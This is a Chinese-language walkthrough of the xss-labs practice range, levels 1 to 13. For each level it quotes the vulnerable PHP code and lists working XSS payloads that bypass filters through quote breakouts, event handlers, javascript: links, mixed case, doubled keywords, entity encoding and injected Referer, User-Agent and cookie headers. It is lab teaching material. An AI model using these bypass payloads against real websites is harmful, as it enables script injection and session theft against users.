自建环境_xss-labs
Level 1
函数源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
这一关没有什么过滤,它会将我们的name值在网页中输出,所以我们尝试注入:
<script>alert(1)</script>
Level 2
先构造一个测试payload:
'';!--"<XSS>=&{()}
ctrl+u查看源码:
发现标题双引号、尖括号、&符号被进行了转义
而下面的输入框却没有过滤
函数源代码
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
htmlspecialchars($str)
是 PHP 中用来将字符串中的特殊字符转换为 HTML 实体的函数。
&
转换为&
<
转换为<
>
转换为>
"
转换为"
'
转换为'
(这是在双引号内使用时)
所以我们可以尝试将输入框中的内容进行闭合
"><script>alert(111)</script>"<
Level 3(绕过htmlspecials()
函数)
依旧用测试payload看一下
'';!--"<XSS>=&{()}
完啦,现在输入框中的内容也被进行了转义
源代码:
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
由于htmlspecialchars默认配置是不过滤单引号的,于是想到构造单引号的payload。
'onmouseover='alert(1)
移动鼠标到输入框触发onmouseover事件,过关!
Level 4
先用测试代码看一下
'';!--"<XSS>=&{()}
发现下面输入框过滤了我们的尖括号<>
所以我们可以调整一下第三题的payload,并且闭合双引号
"onmouseover='alert(1)'
Level 5
测试payload看一下:
'';!--"<XSS>=&{()}
发现好像啥也没少
用之前的payload测试一下:
`"><script>alert("xss");</script>`
"onmouseover='alert(1)'
这一题可以用javascript
伪协议来实现
payload:
"><a href="javascript:alert(`xss`);">xss</a>
Level 6
还是测试一下:
'';!--"<XSS>=&{()}
用上一关的payload试一下:
"><a href="javascript:alert(`xss`);">xss</a>
发现href关键词也被过滤了
用另一个试一下:
sd"></br><img src="javascript:alert('1');">
发现src关键词也被过滤了
这题可以用大小写绕过
"><a hRef="javascript:alert(`xss`);">xss</a>
Level 7
我们用上一关的payload试一下:
"><a hRef="javascript:alert(`xss`);">xss</a>
发现href
和script
关键词没有了
我们试一下双写可不可以绕过:
"><a hRehReff="javascrscriptipt:alert(`xss`);">xss</a>
成功
Level 8
发现这里有一个超链接,我们尝试用伪协议利用一下
javascript:alert(`xss`);
发现这里script
关键词被屏蔽
这里可以使用ASCII进行绕过
" "
t t
: :
javascript:alert(`xss`);
成功
Level 9
尝试一下测试payload:
'';!--"<XSS>=&{()}
注意这种上面双引号是没有办法闭合的,所以不太可能可以绕过htmlspecials()
我们再测试几个输入,看看什么是合法的
好吧,要有关键词http://
我们修改一下上一关payload:
javascript:alert(`http://`);
成功
Level 10
利用测试payload试一下:
应该是对下一个双引号做了编码,且对尖括号做了转译,而&{()}被删除了,也就是不允许做实体编码了。
但是很奇怪的是,网页源码和之前的相比,多了下面这三行:
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
有三个输入框?为什么type为hidden?hidden 的意思为定义隐藏的输入字段。尝试使用firebug将hidden全改成submit。出现一个按钮,点击发现URL变成
http://10.10.10.135/xss/level10.php?t_link=&t_history=&t_sort=
尝试构造xss语句:
http://10.10.10.135/xss/level10.php?t_link=1&t_history=2&t_sort=3
查看网页源代码:
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="3" type="hidden">
发现只有t_sort参数才有返回数据。
?t_sort=3"onmouseover='alert(1)' type="text"
Level 11
用上一关的payload试一下:
发现t_sort中的值也被实体化了
但是这一题多了一个t_ref值
<input name="t_ref" value="" type="hidden">
这个将他改为submit后,会将当前的url值提交
所以我们可以尝试在这里进行XSS注入
浏览器对传入的信息进行了url编码,所以要直接在数据包中进行修改
也就是将http头中referer中的%22
替换为双引号,%27
替换为单引号
Level 12
这题看样子就是将我们的UA头进行了保存
所以说我们在UA头加入如下payload即可
"onmouseover='alert(1)' type="text"
Level 13
这里有一个t_cook
,应该就是cookie
所以我们直接抓包在cookie中加入payload即可
"onmouseover='alert(1)' type="text"